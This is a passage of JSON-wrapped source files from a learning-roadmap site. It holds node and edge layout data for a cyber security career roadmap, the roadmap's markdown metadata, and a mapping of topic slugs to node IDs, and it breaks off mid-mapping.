104.32253339825286,\n        \"y\": 4084.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tao0Bb_JR0Ubl62HO8plp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4137.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4137.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"paY9x2VJA98FNGBFGRXp2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4190.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Power Shell\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4190.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"auuG7WaYMfJAiJC6kvcbW\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -269.4653099623346,\n        \"y\": 4190.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keep Learning\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 73\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -269.4653099623346,\n        \"y\": 4190.724035563796\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 311.38980391536484,\n        \"y\": -126.65002385737628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": 311.38980391536484,\n        \"y\": -126.65002385737628\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 323.593178328165,\n        \"y\": -44.66446043963099\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 323.593178328165,\n        \"y\": -44.66446043963099\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jd9t8e9r29dHRsN40dDOk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GTFOBINS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -281.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rnpx7VkhrBkSQTni6UuTR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -177.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WADCOMS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -177.24003999212795,\n        \"y\": 2743.5549352589032\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"oimYzZYFXKjgvc7D4c-2u\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-_hYN0gEi9BL24nptEtXWUw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1QVCEmGkgvz-_H5lTxY2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hwAUFLYpc_ftCfXq95dey\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-F1QVCEmGkgvz-_H5lTxY2z2-hwAUFLYpc_ftCfXq95deyy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F1QVCEmGkgvz-_H5lTxY2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fUBNKHNPXbemRYrnzH3VT\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-F1QVCEmGkgvz-_H5lTxY2z2-fUBNKHNPXbemRYrnzH3VTy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7RjH4Goi0x6Noy6za0rP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-5haJATqlmj0SFSFAqN6A\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_7RjH4Goi0x6Noy6za0rPz2--5haJATqlmj0SFSFAqN6Ay2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7RjH4Goi0x6Noy6za0rP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"E7yfALgu9E2auOYDOTmex\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_7RjH4Goi0x6Noy6za0rPz2-E7yfALgu9E2auOYDOTmexy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7RjH4Goi0x6Noy6za0rP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IOK_FluAv34j3Tj_NvwdO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_7RjH4Goi0x6Noy6za0rPz2-IOK_FluAv34j3Tj_NvwdOy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"M2J4wsTcEo3IcULZDRNyM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gSLr-Lc119eX9Ig-kDzJ2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-M2J4wsTcEo3IcULZDRNyMz2-_hYN0gEi9BL24nptEtXWUy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7tDxTcKJNAUxbHLPCnPFO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUx2-7tDxTcKJNAUxbHLPCnPFOw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vVaBQ5VtsE_ZeXbCOF8ux\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"type\": \"step\",\n      \"id\": \"reactflow__edge-vVaBQ5VtsE_ZeXbCOF8uxy2-_RnuQ7952N8GWZfPD60sJy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vVaBQ5VtsE_ZeXbCOF8ux\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FNyo1X9BP0v8GnBhPYXDR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vVaBQ5VtsE_ZeXbCOF8uxx2-FNyo1X9BP0v8GnBhPYXDRw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XiHvGy--OkPFfJeKA6-LP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-XiHvGy--OkPFfJeKA6-LPy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jehVvdz8BnruKjqHMKu5v\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-jehVvdz8BnruKjqHMKu5vy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-_RnuQ7952N8GWZfPD60sJz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2SThr6mHpX6rpW-gmsqxG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-2SThr6mHpX6rpW-gmsqxGy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8jj9hpe9jQIgCc8Txyw3O\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-8jj9hpe9jQIgCc8Txyw3Oy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tao0Bb_JR0Ubl62HO8plp\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-tao0Bb_JR0Ubl62HO8plpy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"paY9x2VJA98FNGBFGRXp2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJz2-paY9x2VJA98FNGBFGRXp2y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"auuG7WaYMfJAiJC6kvcbW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_RnuQ7952N8GWZfPD60sJx2-auuG7WaYMfJAiJC6kvcbWw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/cyber-security/cyber-security.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/cyber-security.json'\npdfUrl: '/pdfs/roadmaps/cyber-security.pdf'\norder: 11\nrenderer: 'editor'\nbriefTitle: 'Cyber Security'\nbriefDescription: 'Step by step guide to becoming a Cyber Security Expert in 2025'\ntitle: 'Cyber Security Expert'\ndescription: 'Step by step guide to becoming a Cyber Security Expert in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 4000\nschema:\n  headline: 'Cyber Security Roadmap: Learn to become a Cyber Security Expert'\n  description: 'Learn how to become a Cyber Security expert with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/cyber-security.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Cyber Security Roadmap: Learn to become a Cyber Security Expert'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for cyber security. Learn to become a modern Cyber Security Expert by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a cyber security expert'\n    - 'guide to becoming a cyber security expert in 2025'\n    - 'cyber security expert'\n    - 'cyber security skills'\n    - 'guide to cyber security'\n    - 'cyber security roadmap'\n    - 'cyber security roadmap 2025'\n    - 'cyber security skills test'\n    - 'skills for cyber security'\n    - 'what is cyber security'\n    - 'cyber security quiz'\n    - 'cyber security interview questions'\n    - 'cyber security engineer roadmap'\n    - 'cyber security expert roadmap'\n    - 'cyber security expert roadmap 2025'\n    - 'become a cyber security expert'\n    - 'cyber security expert career path'\n    - 'modern cyber security expert'\n    - 'digital safety roadmap'\n    - 'cybersecurity roadmap'\n    - 'cybersecurity roadmap 2025'\n    - 'cybersecurity skills 2025'\nrelatedRoadmaps:\n  - 'linux'\n  - 'computer-science'\n  - 'docker'\n  - 'python'\n  - 'cpp'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/cyber-security/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/cyber-security/migration-mapping.json",
    "content": "{\n  \"basic-it-skills\": \"oimYzZYFXKjgvc7D4c-2u\",\n  \"basic-it-skills:computer-hardware-components\": \"Ih0YZt8u9vDwYo8y1t41n\",\n  \"basic-it-skills:connection-types\": \"F1QVCEmGkgvz-_H5lTxY2\",\n  \"basic-it-skills:os-independent-troubleshooting\": \"pJUhQin--BGMuXHPwx3JJ\",\n  \"basic-it-skills:popular-suites\": \"_7RjH4Goi0x6Noy6za0rP\",\n  \"basic-it-skills:basics-of-computer-networking\": \"T0aU8ZQGShmF9uXhWY4sD\",\n  \"basic-it-skills:connection-types:wifi\": \"fUBNKHNPXbemRYrnzH3VT\",\n  \"basic-it-skills:connection-types:nfc\": \"hwAUFLYpc_ftCfXq95dey\",\n  \"basic-it-skills:connection-types:bluetooth\": \"DbWf5LdqiByPiJa4xHtl_\",\n  \"basic-it-skills:connection-types:infrared\": \"KsZ63c3KQLLn373c5CZnp\",\n  \"basic-it-skills:popular-suites:icloud\": \"E7yfALgu9E2auOYDOTmex\",\n  \"basic-it-skills:popular-suites:google-suite\": \"IOK_FluAv34j3Tj_NvwdO\",\n  \"basic-it-skills:popular-suites:ms-office-suite\": \"-5haJATqlmj0SFSFAqN6A\",\n  \"extras:ctfs:hack-the-box\": \"wkuE_cChPZT2MHyGjUuU4\",\n  \"extras:ctfs:try-hack-me\": \"kht-L7_v-DbglMYUHuchp\",\n  \"extras:ctfs:vuln-hub\": \"W94wY_otBuvVW_-EFlKA6\",\n  \"extras:ctfs:pico-ctf\": \"pou5xHwnz9Zsy5J6lNlKq\",\n  \"extras:ctfs:sans-holiday-hack-challenge\": \"WCeJrvWl837m1BIjuA1Mu\",\n  \"extras:certifications:beginner-certifications:comptia-aplus\": \"lbAgU5lR1O7L_5mCbNz_D\",\n  \"extras:certifications:beginner-certifications:comptia-linuxplus\": \"p34Qwlj2sjwEPR2ay1WOK\",\n  \"extras:certifications:beginner-certifications:comptia-networkplus\": \"4RGbNOfMPDbBcvUFWTTCV\",\n  \"extras:certifications:beginner-certifications:ccna\": \"4RD22UZATfL8dc71YkJwQ\",\n  \"extras:certifications:beginner-certifications:comptia-securityplus\": \"AxeDcKK3cUtEojtHQPBw7\",\n  \"extras:certifications:advanced-certifications:cissp\": \"BqvijNoRzSGYLCMP-6hhr\",\n  \"extras:certifications:advanced-certifications:cisa\": \"lqFp4VLY_S-5tAbhNQTew\",\n  \"extras:certifications:advanced-certifications:cism\": \"s86x24SHPEbbOB9lYNU-w\",\n  \"extras:certifications:advanced-certifications:gsec\": \"nlmATCTgHoIoMcEOW8bUW\",\n  \"extras:certifications:advanced-certifications:gpen\": \"t4h9rEKWz5Us0qJKXhxlX\",\n  \"extras:certifications:advanced-certifications:gwapt\": \"rwniCTWfYpKP5gi02Pa9f\",\n  \"extras:certifications:advanced-certifications:giac\": \"ZiUT-lyIBfHTzG-dwSy96\",\n  \"extras:certifications:advanced-certifications:oscp\": \"SwVGVP2bbCFs2uNg9Qtxb\",\n  \"extras:certifications:advanced-certifications:crest\": \"rA1skdztev3-8VmAtIlmr\",\n  \"extras:certifications:advanced-certifications:ceh\": \"AAo7DXB7hyBzO6p05gx1i\",\n  \"operating-systems\": \"UY6xdt_V3YMkZxZ1hZLvW\",\n  \"operating-systems:windows\": \"BNUKEQ4YpZmIhSPQdkHgU\",\n  \"operating-systems:linux\": \"4frVcjYI1VlVU9hQgpwcT\",\n  \"operating-systems:macos\": \"dztwr-DSckggQbcNIi4_2\",\n  \"operating-systems:learn-for-each:install-and-configure\": \"02aaEP9E5tlefeGBxf_Rj\",\n  \"operating-systems:learn-for-each:versions-and-differences\": \"yXOGqlufAZ69uiBzKFfh6\",\n  \"operating-systems:learn-for-each:navigating-using-gui-and-cli\": \"MGitS_eJBoY99zOR-W3F4\",\n  \"operating-systems:learn-for-each:understand-permissions\": \"bTfL7cPOmBBFl-eHxUJI6\",\n  \"operating-systems:learn-for-each:installing-apps\": \"Ot3LGpM-CT_nKsNqIKIye\",\n  \"operating-systems:learn-for-each:performing-crud-on-files\": \"zRXyoJMap9irOYo3AdHE8\",\n  \"operating-systems:learn-for-each:troubleshooting\": \"xeRWOX1fWQDLNLWMAFTEe\",\n  \"operating-systems:learn-for-each:common-commands\": \"WDrSO7wBNn-2jB8mcyT7j\",\n  \"networking-knowledge:basics-of-subnetting\": \"E8Z7qFFW-I9ivr0HzoXCq\",\n  \"networking-knowledge:ip-terminology:public-vs-private-ip-addresses\": \"2nQfhnvBjJg1uDZ28aE4v\",\n  \"networking-knowledge:ip-terminology:localhost\": \"0TWwox-4pSwuXojI8ixFO\",\n  \"networking-knowledge:ip-terminology:loopback\": \"W_oloLu2Euz5zRSy7v_T8\",\n  \"networking-knowledge:ip-terminology:cidr\": \"PPIH1oHW4_ZDyD3U3shDg\",\n  \"networking-knowledge:ip-terminology:subnet-mask\": \"f-v8qtweWXFY_Ryo3oYUF\",\n  \"networking-knowledge:ip-terminology:default-gateway\": \"5rKaFtjYx0n2iF8uTLs8X\",\n  \"networking-knowledge:understand-the-terminology:vlan\": \"d5Cv3EXf6OXW19yPJ4x6e\",\n  \"networking-knowledge:understand-the-terminology:dmz\": \"gfpvDQz61I3zTB7tGu7vp\",\n  \"networking-knowledge:understand-the-terminology:arp\": \"M52V7hmG4ORf4TIVw3W3J\",\n  \"networking-knowledge:understand-the-terminology:vm\": \"ZTC5bLWEIQcdmowc7sk_E\",\n  \"networking-knowledge:understand-the-terminology:nat\": \"Kkd3f_0OYNCdpDgrJ-_Ju\",\n  \"networking-knowledge:understand-the-terminology:ip\": \"FdoqB2---uDAyz6xZjk_u\",\n  \"networking-knowledge:understand-the-terminology:dns\": \"ORIdKG8H97VkBUYpiDtXf\",\n  \"networking-knowledge:understand-the-terminology:dhcp\": \"T4312p70FqRBkzVfWKMaR\",\n  \"networking-knowledge:understand-the-terminology:router\": \"lwSFIbIX-xOZ0QK2sGFb1\",\n  \"networking-knowledge:understand-the-terminology:switch\": \"r9byGV8XuBPzoqj5ZPf2W\",\n  \"networking-knowledge:understand-the-terminology:vpn\": \"gTozEpxJeG1NTkVBHH-05\",\n  \"networking-knowledge:understand-these:man\": \"LrwTMH_1fTd8iB9wJg-0t\",\n  \"networking-knowledge:understand-these:lan\": \"xWxusBtMEWnd-6n7oqjHz\",\n  \"networking-knowledge:ip-terminology:wan\": \"vCkTJMkDXcQmwsmeNUAX5\",\n  \"networking-knowledge:understand-these:wlan\": \"QCVYF1rmPsMVtklBNDNaB\",\n  \"networking-knowledge:functions-of-each:dhcp\": \"R5HEeh6jwpQDo27rz1KSH\",\n  \"networking-knowledge:functions-of-each:dns\": \"r1IKvhpwg2umazLGlQZL1\",\n  \"networking-knowledge:functions-of-each:ntp\": \"tf0TymdPHbplDHvuVIIh4\",\n  \"networking-knowledge:functions-of-each:ipam\": \"hN8p5YBcSaPm-byQUIz8L\",\n  \"networking-knowledge:network-topologies:star-topology\": \"P0ZhAXd_H-mTOMr13Ag31\",\n  \"networking-knowledge:network-topologies:ring-topology\": \"9vEUVJ8NTh0wKyIE6-diY\",\n  \"networking-knowledge:network-topologies:mesh-topology\": \"PYeF15e7iVB9seFrrO7W6\",\n  \"networking-knowledge:network-topologies:bus-topology\": \"0DWh4WmLK_ENDuqQmQcu4\",\n  \"networking-knowledge:common-protocols:ssh\": \"8Mog890Lj-gVBpWa05EzT\",\n  \"networking-knowledge:common-protocols:rdp\": \"Ia6M1FKPNpqLDiWx7CwDh\",\n  \"networking-knowledge:common-protocols:ftp\": \"ftYYMxRpVer-jgSswHLNa\",\n  \"networking-knowledge:common-protocols:sftp\": \"YEy6o-clTBKZp1yOkLwNb\",\n  \"networking-knowledge:common-protocols:http-https\": \"3Awm221OJHxXNLiL9yxfd\",\n  \"networking-knowledge:common-protocols:ssl-tls\": \"LKK1A5-xawA7yCIAWHS8P\",\n  \"networking-knowledge\": \"gSLr-Lc119eX9Ig-kDzJ2\",\n  \"networking-knowledge:common-protocols\": \"ViF-mpR17MB3_KJ1rV8mS\",\n  \"networking-knowledge:osi-model\": \"OXUd1UPPsBhNoUGLKZJGV\",\n  \"networking-knowledge:common-ports\": \"0tx2QYDYXhm85iYrCWd9U\",\n  \"networking-knowledge:ssl-and-tls-basics\": \"dJ0NUsODFhk52W2zZxoPh\",\n  \"networking-knowledge:basics-of-nas-and-san\": \"umbMBQ0yYmB5PgWfY6zfO\",\n  \"networking-knowledge:virtualization-technologies:vmware\": \"AjywuCZdBi9atGUbetlUL\",\n  \"networking-knowledge:virtualization-technologies:virtualbox\": \"vGVFhZXYOZOy4qFpLLbxp\",\n  \"networking-knowledge:virtualization-technologies:esxi\": \"BisNooct1vJDKaBKsGR7_\",\n  \"networking-knowledge:virtualization-technologies:proxmox\": \"jqX1A5hFF3Qznqup4lfiF\",\n  \"networking-knowledge:virutalization-basics:hypervisor\": \"CIoLaRv5I3sCr9tBnZHEi\",\n  \"networking-knowledge:virutalization-basics:vm\": \"251sxqoHggQ4sZ676iX5w\",\n  \"networking-knowledge:virutalization-basics:guest-os\": \"LocGETHz6ANYinNd5ZLsS\",\n  \"networking-knowledge:virutalization-basics:host-os\": \"p7w3C94xjLwSMm5qA8XlL\",\n  \"networking-knowledge:troubleshooting-tools:nslookup\": \"tk4iG5i1Ml9w9KRO1tGJU\",\n  \"networking-knowledge:troubleshooting-tools:iptables\": \"jr8JlyqmN3p7Ol3_kD9AH\",\n  \"networking-knowledge:troubleshooting-tools:packet-sniffers\": 